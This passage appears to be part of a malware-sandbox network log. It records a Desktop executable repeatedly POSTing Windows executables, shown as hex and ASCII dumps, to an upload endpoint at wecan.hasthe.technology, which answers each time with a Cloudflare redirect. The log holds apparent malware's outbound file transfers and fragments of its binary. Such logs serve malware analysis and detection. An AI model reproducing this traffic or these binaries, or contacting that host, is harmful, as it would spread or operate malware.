Oct 10, 2024 21:02:43.827678919 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:43.827752113 CEST	9888	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:43.838485003 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:43.838511944 CEST	4944	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:43.838538885 CEST	4944	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:02:44.151355982 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:44 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:44 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5NsDvawNMUzQ9jFHzc8cZ7u218B9FASsuq68TXf3VodOKlA96dqk3W%2FjJEwE0l5wpCrULLQKTVfWkCheqGApcIFGjTvyxSVRxY1Tk17Hl6eMbXebcaJj0RlMZDUYSquqAQk%2B5fgOErl3Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddcb8af3de97-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50552	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:44.545730114 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------960e2df1b40955a4
Oct 10, 2024 21:02:45.556514978 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 36 30 65 32 64 66 31 62 34 30 39 35 35 61 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------960e2df1b40955a4Content-Disposition: form-data; name="file[]"; filename="rifaien2-sRruH8z25Svnoo9L.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:45.556813002 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:45.650733948 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:45.653156042 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:45.655937910 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:45.659744024 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:45.660923004 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:45.661844015 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:45.661878109 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:45.662580013 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:45.663212061 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:45.663618088 CEST	4944	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:45.671914101 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:45.984901905 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:45 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:45 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gcy%2FMVs5sz7KweyX4zVHHb3kI%2Bd%2Fpf49b6YhH8mc%2BJIU7M0Zka1xDhD8%2B0YiPT5JFc9pzqOBXWsT8oJMcqh3qeTwPiBVAdrM1b6S9nDQC4J%2FBVqFTEduN4dMzN%2F4cL80ok0KL8T3Dd8j8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddd3bb750cb8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50563	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:46.150548935 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------0e3c9113582fc869
Oct 10, 2024 21:02:46.649497986 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:46.683603048 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 65 33 63 39 31 31 33 35 38 32 66 63 38 36 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------0e3c9113582fc869Content-Disposition: form-data; name="file[]"; filename="rifaien2-P95T1li6WZS69JnD.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:46.683845043 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:46.696732044 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:46.697408915 CEST	9888	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:46.697526932 CEST	7416	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:46.697526932 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:46.706981897 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:46.708230972 CEST	2472	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:02:46.708626032 CEST	2472	OUT	Data Raw: fb 89 75 80 80 b8 c5 75 3d 8b 80 e2 e0 5a 08 39 bc a2 72 83 9b d5 db 92 ff b1 46 5e 58 0a 0f 99 fa 6c 89 83 2e 0f 84 4b c5 0e 75 0d 74 84 a8 80 f4 c7 46 58 00 b3 a2 1e c1 c7 46 e0 e0 00 e2 ff ef c7 46 2c f2 f6 40 3c 07 74 13 8b 4d 9c 80 b9 44 67 Data Ascii: uu=Z9rF^Xl.KutFXFF,@<tMDg6tET~IuDE}9\u4s}t'wr&rt#L 9t$]X@gPjuu:#pII~utttl
Oct 10, 2024 21:02:46.708655119 CEST	4944	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:47.017311096 CEST	809	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:46 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:46 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1AUb2LhloSbvvPUTseI6WnqAiyOrXZIkrC48gmXcnScKARw1xEQFgmeH0WsIPggc0qqExzSgi5Myl46zr12a%2BLluLbtKoNBZMglpnThiEHq169od84YM3E6jrpSIXq623LzYnKNxlYOzjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dddd5dda18d0-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50569	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:47.168544054 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------051a453587c5d1db
Oct 10, 2024 21:02:47.829411983 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:47.830440044 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 35 31 61 34 35 33 35 38 37 63 35 64 31 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------051a453587c5d1dbContent-Disposition: form-data; name="file[]"; filename="rifaien2-nIZ5n5lptzBCBPzM.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:47.830674887 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:47.856832027 CEST	7416	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:47.856832027 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:47.857348919 CEST	9888	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:47.857392073 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:47.893363953 CEST	12360	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:47.898924112 CEST	28428	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:47.925004959 CEST	4944	OUT	Data Raw: 61 75 74 f0 be b0 47 68 69 7a 3b 3a 00 41 0e 25 73 3a 75 38 53 06 3b 52 29 9f 73 77 86 d8 85 1e 20 48 14 5a 48 45 41 b0 fa 8e fe 44 00 47 45 54 00 50 df 00 50 55 54 00 2a 96 ec 37 14 f4 66 65 72 65 72 3a 08 34 f0 df cd 60 c6 75 63 63 65 70 74 2d Data Ascii: autGhiz;:A%s:u8S;R)sw HZHEADGETPPUT7ferer:4`uccept-EncWg+(ng.T2q\sH(ch#BCy ;3F+3 E ][]q3e`o}%cA: e/,vSweek&b6aRtqwinput6+te`nRX
Oct 10, 2024 21:02:47.925108910 CEST	2425	OUT	Data Raw: 58 bb d3 34 4d d3 03 20 2c 38 44 50 3b cc 34 4d 5c 64 70 ff 7c 0b a6 69 9a ae 8c 03 a0 ac c0 d0 ae a1 69 9a e0 e8 f8 04 f3 14 03 9a a6 69 9a 24 34 44 4c 5c 64 66 9a a6 69 6c 78 80 90 5b 30 0a 4a 18 cf 29 2a c2 86 d7 07 03 cc 45 01 19 03 0a 73 43 Data Ascii: X4M ,8DP;4M\dp\|iii$4DL\dfilx[0J)EsC#C6B(CP;<`@P6Q_&lBExitProcesspandEnvirWonStringsAFormaGtM&ageGetnJModule`7@Nam!HSljAddrG5TickCountV
